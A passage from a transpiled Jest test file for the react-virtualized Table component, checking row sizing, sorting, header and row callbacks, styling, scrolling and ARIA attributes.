      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Array.from(rows).forEach(function (row, index) {
        expect(Number.parseInt(row.style.height, 10)).toEqual(rowHeight({
          index: index
        }));
      });
    });
    it('should support :minWidth and :maxWidth values for a column', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        maxWidth: 75,
        minWidth: 25,
        rowCount: 1
      })));
      var columns = rendered.querySelectorAll('.ReactVirtualized__Table__rowColumn');
      var emailColumn = columns[1];
      expect(Number.parseInt(emailColumn.style.maxWidth, 10)).toEqual(75);
      expect(Number.parseInt(emailColumn.style.minWidth, 10)).toEqual(25);
    });
  });
  describe('measureAllRows', function () {
    it('should measure any unmeasured rows', function () {
      var rendered = (0, _TestUtils.render)(getMarkup({
        estimatedRowSize: 15,
        height: 0,
        rowCount: 10,
        rowHeight: function rowHeight() {
          return 20;
        },
        width: 0
      }));
      expect(rendered.Grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(150);
      rendered.measureAllRows();
      expect(rendered.Grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(200);
    });
  });
  describe('recomputeRowHeights', function () {
    it('should recompute row heights and other values when called', function () {
      var indices = [];

      var rowHeight = function rowHeight(_ref6) {
        var index = _ref6.index;
        indices.push(index);
        return 10;
      };

      var component = (0, _TestUtils.render)(getMarkup({
        rowHeight: rowHeight,
        rowCount: 50
      }));
      indices.splice(0);
      component.recomputeRowHeights(); // Only the rows required to fill the current viewport will be rendered

      expect(indices[0]).toEqual(0);
      expect(indices[indices.length - 1]).toEqual(7);
      indices.splice(0);
      component.recomputeRowHeights(4);
      expect(indices[0]).toEqual(4);
      expect(indices[indices.length - 1]).toEqual(7);
    });
  });
  describe('forceUpdateGrid', function () {
    it('should refresh inner Grid content when called', function () {
      var marker = 'a';

      function cellRenderer(_ref7) {
        var rowIndex = _ref7.rowIndex;
        return "".concat(rowIndex).concat(marker);
      }

      var component = (0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer
      }));
      var node = (0, _reactDom.findDOMNode)(component);
      expect(node.textContent).toContain('1a');
      marker = 'b';
      component.forceUpdateGrid();
      expect(node.textContent).toContain('1b');
    });
  });
  describe('custom getter functions', function () {
    it('should use a custom cellDataGetter if specified', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellDataGetter: function cellDataGetter(_ref8) {
          var dataKey = _ref8.dataKey,
              rowData = _ref8.rowData;
          return "Custom ".concat(dataKey, " for row ").concat(rowData.get('id'));
        }
      })));
      var nameColumns = rendered.querySelectorAll('.ReactVirtualized__Table__rowColumn:first-of-type');
      Array.from(nameColumns).forEach(function (nameColumn, index) {
        expect(nameColumn.textContent).toEqual("Custom name for row ".concat(index));
      });
    });
    it('should use a custom cellRenderer if specified', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellRenderer: function cellRenderer(_ref9) {
          var cellData = _ref9.cellData;
          return "Custom ".concat(cellData);
        }
      })));
      var nameColumns = rendered.querySelectorAll('.ReactVirtualized__Table__rowColumn:first-of-type');
      Array.from(nameColumns).forEach(function (nameColumn, index) {
        var rowData = list.get(index);
        expect(nameColumn.textContent).toEqual("Custom ".concat(rowData.get('name')));
      });
    });
    it('should set the rendered cell content as the cell :title if it is a string', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellRenderer: function cellRenderer() {
          return 'Custom';
        }
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__rowColumn:first-of-type');
      expect(nameColumn.getAttribute('title')).toContain('Custom');
    });
    it('should not set a cell :title if the rendered cell content is not a string', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellRenderer: function cellRenderer() {
          return React.createElement("div", null, "Custom");
        }
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__rowColumn:first-of-type');
      expect(nameColumn.getAttribute('title')).toEqual(null);
    });
    it('should set the rendered header label as header :title if it is a string', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        label: 'Custom'
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerTruncatedText:first-of-type');
      expect(nameColumn.getAttribute('title')).toContain('Custom');
    });
    it('should not set a header :title if the rendered header label is not a string', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        label: React.createElement("div", null, "Custom")
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerTruncatedText:first-of-type');
      expect(nameColumn.getAttribute('title')).toEqual(null);
    });
  });
  describe('sorting', function () {
    it('should not render sort indicators if no sort function is provided', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      var nameColumn = rendered.querySelectorAll('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(nameColumn.className || '').not.toContain('ReactVirtualized__Table__sortableHeaderColumn');
    });
    it('should not render sort indicators for non-sortable columns', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        disableSort: true,
        sort: function sort() {}
      })));
      var nameColumn = rendered.querySelectorAll('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(nameColumn.className || '').not.toContain('ReactVirtualized__Table__sortableHeaderColumn');
      expect(rendered.querySelectorAll('.ReactVirtualized__Table__sortableHeaderColumn').length).toEqual(1); // Email only
    });
    it('should render sortable column headers as sortable', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        sort: function sort() {}
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(nameColumn.className).toContain('ReactVirtualized__Table__sortableHeaderColumn');
      expect(rendered.querySelectorAll('.ReactVirtualized__Table__sortableHeaderColumn').length).toEqual(2); // Email and Name
    });
    it('should render the correct sort indicator by the current sort-by column', function () {
      var sortDirections = [_SortDirection["default"].ASC, _SortDirection["default"].DESC];
      sortDirections.forEach(function (sortDirection) {
        var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
          sort: function sort() {},
          sortBy: 'name',
          sortDirection: sortDirection
        })));
        var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
        expect(nameColumn.querySelector('.ReactVirtualized__Table__sortableHeaderIcon')).not.toEqual(null);
        expect(nameColumn.querySelector(".ReactVirtualized__Table__sortableHeaderIcon--".concat(sortDirection))).not.toEqual(null);
      });
    });
    it('should call sort with the correct arguments when the current sort-by column header is clicked', function () {
      var sortDirections = [_SortDirection["default"].ASC, _SortDirection["default"].DESC];
      sortDirections.forEach(function (sortDirection) {
        var sortCalls = [];
        var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
          sort: function sort(_ref10) {
            var sortBy = _ref10.sortBy,
                sortDirection = _ref10.sortDirection;
            return sortCalls.push({
              sortBy: sortBy,
              sortDirection: sortDirection
            });
          },
          sortBy: 'name',
          sortDirection: sortDirection
        })));
        var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');

        _testUtils.Simulate.click(nameColumn);

        expect(sortCalls.length).toEqual(1);
        var _sortCalls$ = sortCalls[0],
            sortBy = _sortCalls$.sortBy,
            newSortDirection = _sortCalls$.sortDirection;
        var expectedSortDirection = sortDirection === _SortDirection["default"].ASC ? _SortDirection["default"].DESC : _SortDirection["default"].ASC;
        expect(sortBy).toEqual('name');
        expect(newSortDirection).toEqual(expectedSortDirection);
      });
    });
    it('should call sort with the correct arguments when a new sort-by column header is clicked', function () {
      var sortCalls = [];
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        sort: function sort(_ref11) {
          var sortBy = _ref11.sortBy,
              sortDirection = _ref11.sortDirection;
          return sortCalls.push({
            sortBy: sortBy,
            sortDirection: sortDirection
          });
        },
        sortBy: 'email',
        sortDirection: _SortDirection["default"].ASC
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');

      _testUtils.Simulate.click(nameColumn);

      expect(sortCalls.length).toEqual(1);
      var _sortCalls$2 = sortCalls[0],
          sortBy = _sortCalls$2.sortBy,
          sortDirection = _sortCalls$2.sortDirection;
      expect(sortBy).toEqual('name');
      expect(sortDirection).toEqual(_SortDirection["default"].ASC);
    });
    it('should call sort when a column header is activated via ENTER or SPACE key', function () {
      var sortCalls = [];
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        sort: function sort(_ref12) {
          var sortBy = _ref12.sortBy,
              sortDirection = _ref12.sortDirection;
          return sortCalls.push({
            sortBy: sortBy,
            sortDirection: sortDirection
          });
        },
        sortBy: 'name'
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(sortCalls.length).toEqual(0);

      _testUtils.Simulate.keyDown(nameColumn, {
        key: ' '
      });

      expect(sortCalls.length).toEqual(1);

      _testUtils.Simulate.keyDown(nameColumn, {
        key: 'Enter'
      });

      expect(sortCalls.length).toEqual(2);

      _testUtils.Simulate.keyDown(nameColumn, {
        key: 'F'
      });

      expect(sortCalls.length).toEqual(2);
    });
    it('should honor the default sort order on first click of the column', function () {
      var sortDirections = [_SortDirection["default"].ASC, _SortDirection["default"].DESC];
      sortDirections.forEach(function (sortDirection) {
        var sortCalls = [];
        var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
          sort: function sort(_ref13) {
            var sortBy = _ref13.sortBy,
                sortDirection = _ref13.sortDirection;
            return sortCalls.push({
              sortBy: sortBy,
              sortDirection: sortDirection
            });
          },
          defaultSortDirection: sortDirection
        })));
        var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');

        _testUtils.Simulate.click(nameColumn);

        expect(sortCalls.length).toEqual(1);
        var _sortCalls$3 = sortCalls[0],
            sortBy = _sortCalls$3.sortBy,
            newSortDirection = _sortCalls$3.sortDirection;
        expect(sortBy).toEqual('name');
        expect(newSortDirection).toEqual(sortDirection);
      });
    });
  });
  describe('headerRowRenderer', function () {
    it('should render a custom header row if one is provided', function () {
      var headerRowRenderer = jest.fn().mockReturnValue(React.createElement("div", null, "foo bar"));
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        headerHeight: 33,
        headerRowRenderer: headerRowRenderer,
        rowClassName: 'someRowClass'
      })));
      expect(rendered.textContent).toContain('foo bar');
      expect(headerRowRenderer).toHaveBeenCalled();
      var params = headerRowRenderer.mock.calls[0][0];
      expect(params.className).toContain('someRowClass');
      expect(params.columns).toHaveLength(2);
      expect(params.style.height).toBe(33);
    });
  });
  describe('headerRenderer', function () {
    it('should render a custom header if one is provided', function () {
      var columnData = {
        foo: 'foo',
        bar: 'bar'
      };
      var headerRendererCalls = [];
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnData: columnData,
        headerRenderer: function headerRenderer(params) {
          headerRendererCalls.push(params);
          return 'custom header';
        },
        sortBy: 'name',
        sortDirection: _SortDirection["default"].ASC
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(nameColumn.textContent).toContain('custom header');
      expect(headerRendererCalls.length).toBeTruthy();
      var headerRendererCall = headerRendererCalls[0];
      expect(headerRendererCall.columnData).toEqual(columnData);
      expect(headerRendererCall.dataKey).toEqual('name');
      expect(headerRendererCall.disableSort).toEqual(false);
      expect(headerRendererCall.label).toEqual('Name');
      expect(headerRendererCall.sortBy).toEqual('name');
      expect(headerRendererCall.sortDirection).toEqual(_SortDirection["default"].ASC);
    });
    it('should honor sort for custom headers', function () {
      var sortCalls = [];
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        headerRenderer: function headerRenderer() {
          return 'custom header';
        },
        sort: function sort(_ref14) {
          var sortBy = _ref14.sortBy,
              sortDirection = _ref14.sortDirection;
          return sortCalls.push([sortBy, sortDirection]);
        },
        sortBy: 'name',
        sortDirection: _SortDirection["default"].ASC
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');

      _testUtils.Simulate.click(nameColumn);

      expect(sortCalls.length).toEqual(1);
      var sortCall = sortCalls[0];
      expect(sortCall[0]).toEqual('name');
      expect(sortCall[1]).toEqual(_SortDirection["default"].DESC);
    });
    it('should honor :onHeaderClick for custom header', function () {
      var columnData = {
        foo: 'foo',
        bar: 'bar'
      };
      var onHeaderClick = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnData: columnData,
        headerRenderer: function headerRenderer() {
          return 'custom header';
        },
        onHeaderClick: onHeaderClick
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');

      _testUtils.Simulate.click(nameColumn);

      expect(onHeaderClick).toHaveBeenCalledTimes(1);
      var params = onHeaderClick.mock.calls[0][0];
      expect(params.dataKey).toEqual('name');
      expect(params.columnData).toEqual(columnData);
      expect(params.event.type).toEqual('click');
    });
  });
  describe('noRowsRenderer', function () {
    it('should call :noRowsRenderer if :rowCount is 0', function () {
      var rendered = (0, _TestUtils.render)(getMarkup({
        noRowsRenderer: function noRowsRenderer() {
          return React.createElement("div", null, "No rows!");
        },
        rowCount: 0
      }));
      var bodyDOMNode = (0, _reactDom.findDOMNode)(rendered.Grid);
      expect(bodyDOMNode.textContent).toEqual('No rows!');
    });
    it('should render an empty body if :rowCount is 0 and there is no :noRowsRenderer', function () {
      var rendered = (0, _TestUtils.render)(getMarkup({
        rowCount: 0
      }));
      var bodyDOMNode = (0, _reactDom.findDOMNode)(rendered.Grid);
      expect(bodyDOMNode.textContent).toEqual('');
    });
  });
  describe('onColumnClick', function () {
    it('should call :onColumnClick with the correct arguments when a column is clicked', function () {
      var onColumnClick = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onColumnClick: onColumnClick
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__rowColumn:first-of-type');

      _testUtils.Simulate.click(nameColumn);

      expect(onColumnClick).toHaveBeenCalledTimes(1);
      var params = onColumnClick.mock.calls[0][0];
      expect(params.dataKey).toEqual('name');
      expect(params.columnData.data).toEqual(123);
      expect(params.event.type).toEqual('click');
    });
  });
  describe('onHeaderClick', function () {
    it('should call :onHeaderClick with the correct arguments when a column header is clicked and sorting is disabled', function () {
      var onHeaderClick = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        disableSort: true,
        onHeaderClick: onHeaderClick
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');

      _testUtils.Simulate.click(nameColumn);

      expect(onHeaderClick).toHaveBeenCalledTimes(1);
      var params = onHeaderClick.mock.calls[0][0];
      expect(params.dataKey).toEqual('name');
      expect(params.columnData.data).toEqual(123);
      expect(params.event.type).toEqual('click');
    });
    it('should call :onHeaderClick with the correct arguments when a column header is clicked and sorting is enabled', function () {
      var onHeaderClick = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        disableSort: false,
        onHeaderClick: onHeaderClick
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');

      _testUtils.Simulate.click(nameColumn);

      expect(onHeaderClick).toHaveBeenCalledTimes(1);
      var params = onHeaderClick.mock.calls[0][0];
      expect(params.dataKey).toEqual('name');
      expect(params.columnData.data).toEqual(123);
      expect(params.event.type).toEqual('click');
    });
  });
  describe('onRowClick', function () {
    it('should call :onRowClick with the correct :rowIndex when a row is clicked', function () {
      var onRowClick = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowClick: onRowClick
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');

      _testUtils.Simulate.click(rows[0]);

      _testUtils.Simulate.click(rows[3]);

      expect(onRowClick).toHaveBeenCalledTimes(2);
      expect(onRowClick.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([0, 3]);
    });
  });
  describe('onRowDoubleClick', function () {
    it('should call :onRowDoubleClick with the correct :rowIndex when a row is clicked', function () {
      var onRowDoubleClick = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowDoubleClick: onRowDoubleClick
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');

      _testUtils.Simulate.doubleClick(rows[0]);

      _testUtils.Simulate.doubleClick(rows[3]);

      expect(onRowDoubleClick).toHaveBeenCalledTimes(2);
      expect(onRowDoubleClick.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([0, 3]);
    });
  });
  describe('onRowRightClick', function () {
    it('should call :onRowRightClick with the correct :rowIndex when a row is right-clicked', function () {
      var onRowRightClick = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowRightClick: onRowRightClick
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');

      _testUtils.Simulate.contextMenu(rows[0]);

      _testUtils.Simulate.contextMenu(rows[3]);

      expect(onRowRightClick).toHaveBeenCalledTimes(2);
      expect(onRowRightClick.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([0, 3]);
    });
  });
  describe('onRowMouseOver/Out', function () {
    it('should call :onRowMouseOver and :onRowMouseOut with the correct :rowIndex when the mouse is moved over rows', function () {
      var onRowMouseOver = jest.fn();
      var onRowMouseOut = jest.fn();
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowMouseOver: onRowMouseOver,
        onRowMouseOut: onRowMouseOut
      })));

      var simulateMouseOver = function simulateMouseOver(from, to) {
        _testUtils.Simulate.mouseOut(from, {
          relatedTarget: to
        });

        _testUtils.Simulate.mouseOver(to, {
          relatedTarget: from
        });
      };

      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      simulateMouseOver(rows[0], rows[1]);
      simulateMouseOver(rows[1], rows[2]);
      simulateMouseOver(rows[2], rows[3]);
      expect(onRowMouseOver).toHaveBeenCalled();
      expect(onRowMouseOut).toHaveBeenCalled();
      expect(onRowMouseOver.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([1, 2, 3]);
      expect(onRowMouseOut.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([0, 1, 2]);
    });
  });
  describe('rowClassName', function () {
    it('should render a static classname given :rowClassName as a string', function () {
      var staticClassName = 'staticClass';
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        rowClassName: staticClassName
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Array.from(rows).forEach(function (row) {
        expect(row.className).toContain(staticClassName);
      });
    });
    it('should render dynamic classname given :rowClassName as a function', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        rowClassName: function rowClassName(_ref15) {
          var index = _ref15.index;
          return index % 2 === 0 ? 'even' : 'odd';
        }
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Array.from(rows).forEach(function (row, index) {
        if (index % 2 === 0) {
          expect(row.className).toContain('even');
          expect(row.className).not.toContain('odd');
        } else {
          expect(row.className).toContain('odd');
          expect(row.className).not.toContain('even');
        }
      });
    });
  });
  describe('onRowsRendered', function () {
    it('should call :onRowsRendered at least one row is rendered', function () {
      var startIndex, stopIndex;
      (0, _TestUtils.render)(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params;

          return _params = params, startIndex = _params.startIndex, stopIndex = _params.stopIndex, _params;
        }
      }));
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
    });
    it('should not call :onRowsRendered unless the start or stop indices have changed', function () {
      var numCalls = 0;
      var startIndex;
      var stopIndex;

      var onRowsRendered = function onRowsRendered(params) {
        startIndex = params.startIndex;
        stopIndex = params.stopIndex;
        numCalls++;
      };

      (0, _TestUtils.render)(getMarkup({
        onRowsRendered: onRowsRendered
      }));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
      (0, _TestUtils.render)(getMarkup({
        onRowsRendered: onRowsRendered
      }));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
    });
    it('should call :onRowsRendered if the start or stop indices have changed', function () {
      var numCalls = 0;
      var startIndex;
      var stopIndex;

      var onRowsRendered = function onRowsRendered(params) {
        startIndex = params.startIndex;
        stopIndex = params.stopIndex;
        numCalls++;
      };

      (0, _TestUtils.render)(getMarkup({
        onRowsRendered: onRowsRendered
      }));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
      (0, _TestUtils.render)(getMarkup({
        height: 50,
        onRowsRendered: onRowsRendered
      }));
      expect(numCalls).toEqual(2);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(2);
    });
    it('should not call :onRowsRendered if no rows are rendered', function () {
      var startIndex, stopIndex;
      (0, _TestUtils.render)(getMarkup({
        height: 0,
        onRowsRendered: function onRowsRendered(params) {
          var _params2;

          return _params2 = params, startIndex = _params2.startIndex, stopIndex = _params2.stopIndex, _params2;
        }
      }));
      expect(startIndex).toEqual(undefined);
      expect(stopIndex).toEqual(undefined);
    });
  });
  describe(':scrollTop property', function () {
    it('should render correctly when an initial :scrollTop property is specified', function () {
      var startIndex, stopIndex;
      (0, _TestUtils.render)(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params3;

          return _params3 = params, startIndex = _params3.startIndex, stopIndex = _params3.stopIndex, _params3;
        },
        scrollTop: 80
      }));
      expect(startIndex).toEqual(8);
      expect(stopIndex).toEqual(15);
    });
    it('should render correctly when :scrollTop property is updated', function () {
      var startIndex, stopIndex;
      (0, _TestUtils.render)(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params4;

          return _params4 = params, startIndex = _params4.startIndex, stopIndex = _params4.stopIndex, _params4;
        }
      }));
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
      (0, _TestUtils.render)(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params5;

          return _params5 = params, startIndex = _params5.startIndex, stopIndex = _params5.stopIndex, _params5;
        },
        scrollTop: 80
      }));
      expect(startIndex).toEqual(8);
      expect(stopIndex).toEqual(15);
    });
  });
  describe('styles, classNames, and ids', function () {
    it('should use the expected global CSS classNames', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        sort: function sort() {},
        sortBy: 'name',
        sortDirection: _SortDirection["default"].ASC
      })));
      expect(node.className).toEqual('ReactVirtualized__Table');
      expect(node.querySelector('.ReactVirtualized__Table__headerRow')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__rowColumn')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__headerColumn')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__row')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__sortableHeaderColumn')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__sortableHeaderIcon')).toBeTruthy();
    });
    it('should use a custom :className if specified', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        className: 'foo',
        headerClassName: 'bar',
        rowClassName: 'baz'
      })));
      expect(node.className).toContain('foo');
      expect(node.querySelectorAll('.bar').length).toEqual(2);
      expect(node.querySelectorAll('.baz').length).toEqual(9);
    });
    it('should use a custom :id if specified', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        id: 'bar'
      })));
      expect(node.getAttribute('id')).toEqual('bar');
    });
    it('should not set :id on the inner Grid', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        id: 'bar'
      })));
      var grid = node.querySelector('.ReactVirtualized__Grid');
      expect(grid.getAttribute('id')).not.toEqual('bar');
    });
    it('should use custom :styles if specified', function () {
      var columnStyle = {
        backgroundColor: 'red',
        overflow: 'visible'
      };
      var headerStyle = {
        backgroundColor: 'blue'
      };
      var columnHeaderStyle = {
        color: 'yellow'
      };
      var rowStyle = {
        backgroundColor: 'green'
      };
      var style = {
        backgroundColor: 'orange'
      };
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnStyle: columnStyle,
        headerStyle: headerStyle,
        columnHeaderStyle: columnHeaderStyle,
        rowStyle: rowStyle,
        style: style
      })));
      expect(node.querySelector('.ReactVirtualized__Table__rowColumn').style.backgroundColor).toEqual('red');
      expect(node.querySelector('.ReactVirtualized__Table__rowColumn').style.overflow).toEqual('visible');
      expect(node.querySelector('.ReactVirtualized__Table__headerColumn').style.backgroundColor).toEqual('blue');
      expect(node.querySelector('.ReactVirtualized__Table__headerColumn').style.color).toEqual('yellow');
      expect(node.querySelector('.ReactVirtualized__Table__row').style.backgroundColor).toEqual('green');
      expect(node.style.backgroundColor).toEqual('orange');
    });
    it('should render dynamic style given :rowStyle as a function', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        rowStyle: function rowStyle(_ref16) {
          var index = _ref16.index;
          return index % 2 === 0 ? {
            backgroundColor: 'red'
          } : {
            backgroundColor: 'green'
          };
        }
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Array.from(rows).forEach(function (row, index) {
        if (index % 2 === 0) {
          expect(row.style.backgroundColor).toEqual('red');
        } else {
          expect(row.style.backgroundColor).toEqual('green');
        }
      });
    });
    it('should pass :gridClassName and :gridStyle to the inner Grid', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        gridClassName: 'foo',
        gridStyle: {
          backgroundColor: 'red'
        }
      })));
      var grid = rendered.querySelector('.ReactVirtualized__Grid');
      expect(grid.className).toContain('foo');
      expect(grid.style.backgroundColor).toEqual('red');
    });
  });
  describe('overscanRowCount', function () {
    it('should not overscan by default', function () {
      var mock = jest.fn();
      mock.mockImplementation(overscanIndicesGetter);
      (0, _TestUtils.render)(getMarkup({
        overscanIndicesGetter: mock
      }));
      expect(mock.mock.calls[0][0].overscanCellsCount).toEqual(0);
      expect(mock.mock.calls[1][0].overscanCellsCount).toEqual(0);
    });
    it('should overscan the specified amount', function () {
      var mock = jest.fn();
      mock.mockImplementation(overscanIndicesGetter);
      (0, _TestUtils.render)(getMarkup({
        overscanIndicesGetter: mock,
        overscanRowCount: 10
      }));
      expect(mock.mock.calls[0][0].overscanCellsCount).toEqual(0);
      expect(mock.mock.calls[1][0].overscanCellsCount).toEqual(10);
    });
  });
  describe('onScroll', function () {
    it('should trigger callback when component initially mounts', function () {
      var onScrollCalls = [];
      (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: 80,
        scrollHeight: 1000,
        scrollTop: 0
      }]);
    });
    it('should trigger callback when component scrolls', function () {
      var onScrollCalls = [];
      var rendered = (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      var target = {
        scrollLeft: 0,
        scrollTop: 100
      };
      rendered.Grid._scrollingContainer = target; // HACK to work around _onScroll target check

      _testUtils.Simulate.scroll((0, _reactDom.findDOMNode)(rendered.Grid), {
        target: target
      });

      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 80,
        scrollHeight: 1000,
        scrollTop: 100
      });
    });
  });
  describe('a11y properties', function () {
    it('should set aria role on the table', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(node.getAttribute('role')).toEqual('grid');
    });
    it('should set aria col/row count on the table', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(node.getAttribute('aria-colcount')).toEqual('2');
      expect(node.getAttribute('aria-rowcount')).toEqual("".concat(list.size));
    });
    it('should pass down aria labels on the table', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        'aria-label': 'my-table-label',
        'aria-labelledby': 'my-table-label-id'
      })));
      expect(node.getAttribute('aria-label')).toEqual('my-table-label');
      expect(node.getAttribute('aria-labelledby')).toEqual('my-table-label-id');
    });
    it('should set aria role on the header row', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      var row = rendered.querySelector('.ReactVirtualized__Table__headerRow');
      expect(row.getAttribute('role')).toEqual('row');
    });
    it('should set appropriate aria role on the grid', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      var grid = rendered.querySelector('.ReactVirtualized__Table__Grid');
      expect(grid.getAttribute('role')).toEqual('rowgroup');
    });
    it('should set aria role on a row', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      var row = rendered.querySelector('.ReactVirtualized__Table__row');
      expect(row.getAttribute('role')).toEqual('row');
    });
    it('should set aria rowindex on a row', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      expect(rows[0].getAttribute('aria-rowindex')).toEqual('1');
      expect(rows[1].getAttribute('aria-rowindex')).toEqual('2');
    });
    it('should set aria role on a cell', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
